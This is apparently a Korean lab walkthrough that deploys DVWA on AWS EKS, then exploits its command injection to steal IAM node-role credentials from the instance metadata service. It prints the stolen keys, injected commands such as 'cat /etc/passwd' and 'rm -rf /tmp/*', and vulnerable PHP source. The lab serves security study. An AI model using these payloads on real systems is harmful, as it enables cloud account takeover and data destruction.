(최성욱님) 악성코드분석님 : EKS pod가 IMDS API를 악용하는 시나리오 - 링크 Github Youtube
mysql 배포
cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
name: dvwa-secrets
type: Opaque
data:
# s3r00tpa55
ROOT_PASSWORD: czNyMDB0cGE1NQ==
# dvwa
DVWA_USERNAME: ZHZ3YQ==
# p@ssword
DVWA_PASSWORD: cEBzc3dvcmQ=
# dvwa
DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-mysql-service
spec:
selector:
app: dvwa-mysql
tier: backend
ports:
- protocol: TCP
port: 3306
targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-mysql
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-mysql
tier: backend
template:
metadata:
labels:
app: dvwa-mysql
tier: backend
spec:
containers:
- name: mysql
image: mariadb:10.1
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
ports:
- containerPort: 3306
env:
- name: MYSQL_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: ROOT_PASSWORD
- name: MYSQL_USER
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml
dvwa 배포
cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: dvwa-config
data:
RECAPTCHA_PRIV_KEY: ""
RECAPTCHA_PUB_KEY: ""
SECURITY_LEVEL: "low"
PHPIDS_ENABLED: "0"
PHPIDS_VERBOSE: "1"
PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-web-service
spec:
selector:
app: dvwa-web
type: ClusterIP
ports:
- protocol: TCP
port: 80
targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-web
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-web
template:
metadata:
labels:
app: dvwa-web
spec:
containers:
- name: dvwa
image: cytopia/dvwa:php-8.1
ports:
- containerPort: 80
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
env:
- name: RECAPTCHA_PRIV_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PRIV_KEY
- name: RECAPTCHA_PUB_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PUB_KEY
- name: SECURITY_LEVEL
valueFrom:
configMapKeyRef:
name: dvwa-config
key: SECURITY_LEVEL
- name: PHPIDS_ENABLED
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_ENABLED
- name: PHPIDS_VERBOSE
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_VERBOSE
- name: PHP_DISPLAY_ERRORS
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHP_DISPLAY_ERRORS
- name: MYSQL_HOSTNAME
value: dvwa-mysql-service
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
- name: MYSQL_USERNAME
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml
ingress 배포
MyDomain=myeks.net
echo "export MyDomain=myeks.net" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
# 사용 리전의 인증서 ARN 확인
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN
cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
alb.ingress.kubernetes.io/group.name: study
alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/ssl-redirect: "443"
alb.ingress.kubernetes.io/success-codes: 200-399
alb.ingress.kubernetes.io/target-type: ip
name: ingress-dvwa
spec:
ingressClassName: alb
rules:
- host: dvwa.$MyDomain
http:
paths:
- backend:
service:
name: dvwa-web-service
port:
number: 80
path: /
pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web <https://dvwa.$MyDomain>"
웹 접속 admin / password → DB 구성을 위해 클릭 (재로그인) ⇒ admin / password
Command Injection 메뉴 클릭
# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami
# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "<http://169.254.169.254/latest/api/token>" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
*AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==*
# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: *AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==*" –v <http://169.254.169.254/latest/meta-data/iam/security-credentials/>
*eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1*
# EC2 Instance Profile (IAM Role) 자격증명탈취
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: *AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==*" –v <http://169.254.169.254/latest/meta-data/iam/security-credentials/*eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1*>
{
"Code" : "Success",
"LastUpdated" : "2023-05-28T08:57:40Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5ILF2FJITL3SDNHF",
"SecretAccessKey" : "vYKlEwY2sEOhZuSLl3YHuuantav9wCQyuBXi/Utq",
"Token" : "IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWFsxxOlqnuGr9zUCIQDpG/aispNmH33bKme7+nOcgixKwrZJAiElX6HD9ZybWyrMBQhaEAEaDDkxMTI4MzQ2NDc4NSIM852DvLWwQ2F0+h3YKqkFORn7pJxNAZ62USbc6+MwtCa+F2scLKsBgcAtsGVu9pMbQIqiFqojIw1BX+7mDu7V+wVcwifMNV+5idGSewHnAmflFRcFFDqmmaR963rZ5D+HVsdNnWWzEYYI7YRREsoHEu1qp4WfAolF0wry5bZUVuKW4nfRFI7gWdHjEvGf3Q8X6g42N4NL25APbk4f4L1G/NyfwSNtX6SH/KJOkEfICCl0dERTeTLKPmFEyRg6eW2GodR2EOmrzNgV526elVAGr0xR+dSKLHtueoI6RMQzVcWa7PTTfCpy5fdgfJddewrWcqiVbS5XdsFsSyAryYoQsa2Qv2OcC0kPOicDOsvx0gTg9Aa0hQ+jMmjoiKXYp/Tl5uNzrjyUyEEwm8BO54Bz40qAVJTRAKXFfgpg6ypNeGeS8tsrZ0zIGSlU0bzBCDwbtPkmwk8vposE0sbLZltFypdJOCZwkL4PeQGG3pIVoFvq0ldlw+YMDJ84iUcRGIsyyPT1a5dAkHC+NYcJ9dd02hGpEfJLhj5I6MbzFHc2GAbBivT7a6P+Td2yZEP8YbpTZi9c/yXptV6r+ALvpeSCFpsr0NrPNpesxyOXc0f30fGHiTaodZ/a1avjb9gyotM+LHgKELvBlPt48Hu8duoAclP+/BvLUJHQAbAgKXGcbxtyvZiFEvrw2DPlJNgDcp06CQMzUGtyboE6H4B8gZxqVUI0c8WcCvKpsCYTWqj8EUjFLuUvBu3EzN/z8XynFdoLV1GLR/HRFpYmcI0InP3ScHi/tFoxs3SqPjcDn0G0QVd+vix4CxwXUHGehR4pEKlUoUxUzpCcE61MgZIijM54wcb4CJ6lL0YQQT0hoJBkE574xa4OibT/6d8qRP+9LzlkJ8Ir2FLN2mcjluPYLNs/nYPdqbZ5xlPeML6vzKMGOrEBz8jfqk9F1TtITJs/+EIouyyG/1cEJFYFEcqJJZ1nDqvY4CY11HX1GU8GDtWyYfXGOejQK1dTB8RCOcYdfKYXQGHT3Dl7Y/zLrA69Si7Vs28oZfEHLd0BDp6sFY8u1zN6jxI6NLnICa00RbWkqI70SiAzLKWAektS5LgbDU7liyH90vJ0IfqnlntN4nNFyB40l8JFlpL7ks+mGzsDLlCZjXWdPjrX/emHek7pktkfnI9V",
"Expiration" : "2023-05-28T15:03:24Z"
}
# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*
(옵션) DVWA Security : Medium 변경 후 시도 → 더 이상 명령 실행 안됨 ⇒ 다음 실습을 위해 Low 다시 변경
Low Command Injection Source
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Medium Command Injection Source
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>